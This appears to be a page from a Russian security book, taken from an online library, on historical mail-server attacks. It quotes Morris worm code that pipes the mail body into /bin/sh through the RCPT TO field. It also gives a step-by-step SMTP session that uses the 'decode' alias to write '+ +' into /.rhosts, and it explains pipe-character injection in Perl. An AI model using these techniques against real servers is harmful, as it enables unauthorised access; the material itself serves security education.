Литмир - Электронная Библиотека

Первый громкий прецедент произошел осенью 1988 года, когда по сети расползся червь Морриса. Один из способов распространения заключался в использовании отладочного режима в программе SendMail. Отладочный режим служил для удаленного управления почтовым демоном и позволял выполнить команды, передаваемые в теле письма. Остальное, как говорится, было делом техники. Вирус посылал «затравку» на языке Си с указанием откомпилировать ее и запустить. «Затравка» стирала заголовки почты, способные пролить свет на ее происхождение, и, связавшись с отправителем, «перетягивала» на сервер все остальные модули червя.

Ниже приводится фрагмент кода вируса (с небольшими сокращениями), демонстрирующий как он использовал отладочный режим (жирным цветом выделены строки, передаваемые им на сервер по SMTP-соединению).

· send_text(s, "debug");

·…

· #define MAIL_FROM "mail from:«/dev/null»\n"

· #define MAIL_RCPT "rcpt to:«\"| sed \'1,/^$/d\' | /bin/sh; exit 0\"»\n"

·…

· send_text(s, MAIL_FROM);

· i = (random() amp; 0x00FFFFFF);

· sprintf(l548,MAIL_RCPT, i, i);

· send_text(s, l548);

·

Вскоре после атаки лаз был закрыт, но червь Морриса послужил наглядным доказательством принципиальной возможности атак и стал хорошим стимулом к поиску других, еще никем не обнаруженных ошибок. В том, что они существуют, - никто не сомневался. Так оно и получилось.

Некто (имени которого история не сохранила) обратил внимание, что у многих почтовых серверов в файле «/etc/aliases» содержится строка приблизительного следующего содержания: «decode: |/usr/bin/uudecode». Если послать на такой сервер письмо, адресованное получателю «decode», оно попадает в руки программы “uudecode”, предназначенной для распаковки UUE-сообщений.

Необходимость передавать двоичные файлы через почтовые системы, не допускающие использование символов с кодами менее 32 и более 127, привела к появлению UUE кодировки. Идея, лежащая в ее основе, заключается в следующем: три байта (24 бита) разбиваются на четыре шестибитовых «осколка», каждый из которых суммируется с кодом пробела (0х20), образуя транспортабельный текст.

Таким образом, закодированный текст состоит из следующих символов (и только из них): `!"#$% amp;'()*+,-./012356789:;«=»?@ABC…XYZ[\]^_, каждый из которых может быть передан по любым телекоммуникационным каналам, в том числе и семибитовым.

Получатель проделывает на свой стороне обратный процесс, - из каждого символа вычитает код пробела, и из каждых четырех «осколков» закодированного текста собирает по три байта оригинального послания.

Типичное UUE-сообщение выглядит приблизительно так (все необязательные поля для упрощения понимания опущены):

· begin 644 filename

· =D»JEJR"AKJ'@H"`M(. amp;OH.$@I*7@I:*N(0T``0(`

· `

· end

Слово “filename”, стоящее в заголовке, обозначает ни что иное, как имя файла, в который отправитель предлагает записать раскодированный текст. Большинство расшифровщиков не проверяют наличие файла на существование и затирают его содержимое без запроса подтверждения пользователя.

Если демон SendMail обладает наивысшими привилегиями (а так чаще всего и бывает), программа uudecode наследует их при запуске. Следовательно, существует возможность перезаписать любой файл в системе.

Например, злоумышленник может внести в файл “.rhosts” строку вида «+ +». В файле “.rhosts” содержится перечень адресов доверительных узлов и имен пользователей, которым с этих самых узлов разрешен вход на сервер без предъявления пароля. А комбинация «+ +» открывает свободный доступ всем пользователям со всех узлов сети.

Атака может выглядеть приблизительно так (символ “;” обозначает строку комментариев):

·; Создание файла, содержащего строку “+ +”

· cat» tmp

· + +

· ^C

· ; uue-кодирование, с указанием раскодировать этот файл в /.rhosts

· % uuencode tmp /.rhosts

· begin 644 /.rhosts

· $*R`K"@``

· `

· end

· ; Соединение с сервером жертвы по 25 порту для передачи сообщения

· telnet 127.0.0.1 25

·; Соединение установлено сервер вернул приглашение

· 220 kpnc.krintel.ru SimpleSMTP 1.0 Sun, 26 Mar 2000 16:42:49 +0400

· ; Чествование сервера

· helo kpnc

· 250 kpnc.krintel.ru Hello kpnc.krintel.ru [195.161.41.239]

· ; Указание адреса отправителя

· mail from: [email protected]

· 250 kpnc Sender ok

·; Указание псевдонима ‘decode’ в качестве имени получателя

· rcpt to: decode

· 250 decode Recipient ok

·; Ввод закодированного сообщения в теле письма

· data

· 354 Enter mail, end with "." on a line by itself

· begin 644 /.rhosts

· $*R`K"@``

· `

· end

·.

· 250 Ok

·; Выход

· quit

· 221 kpnc.krintel.ru closing connection

Теперь злоумышленник (и не только он - любой пользователь с любого узла) сможет зайти на сервер и, в лучшем случае, оставить администратору свое graffiti (автограф, то есть) на видном месте. В худшем же…

Эта ошибка в тех или иных вариациях встречается и сегодня. Многие программы-декодеры (например, распаковщики) допускают указание абсолютных путей [227]. Защита файла от перезаписи (в тех случаях, когда она есть) не панацея - злоумышленник может создать новый файл, поместив его, например, в такую папку как «Автозагрузка». Рано или поздно система запустит его, и код злоумышленника получит управление.

Другая возможность выполнить код на удаленном сервере заключается в неявной поддержке конвейера в полях “MAIL FROM” и “RCPT TO”. Часто даже сами разработчики не подозревают о такой уязвимости, поскольку она не всегда очевидна. Например, команда “open” языка Perl может не только открывать файл, но и запускать его, если в имени присутствует символ “|”, обозначающий вызов конвейера.

Подобные попытки самостоятельной интерпретации передаваемых функции параметров встречаются достаточно часто. Особенно они характерны для UNIX-систем, где конвейер является одним из самых популярных средств межпроцессорного взаимодействия. Это действительно очень удобный прием, но далеко не всегда должным образом отмеченный в сопроводительной документации.

Разработчики, использующие в свой программе библиотеки сторонних поставщиков, не всегда проверяют, как поведет себя та или иная функция, обнаружив символ конвейера, особенно если об этом ничего не написано в документации. Похожая проблема возникает и при разработке совместных проектов: один разработчик не может знать всех тонкостей функционирования модулей другого разработчика, а в результате такой нестыковки полученная программа может неявным образом поддерживать конвейер.

83
{"b":"837821","o":1}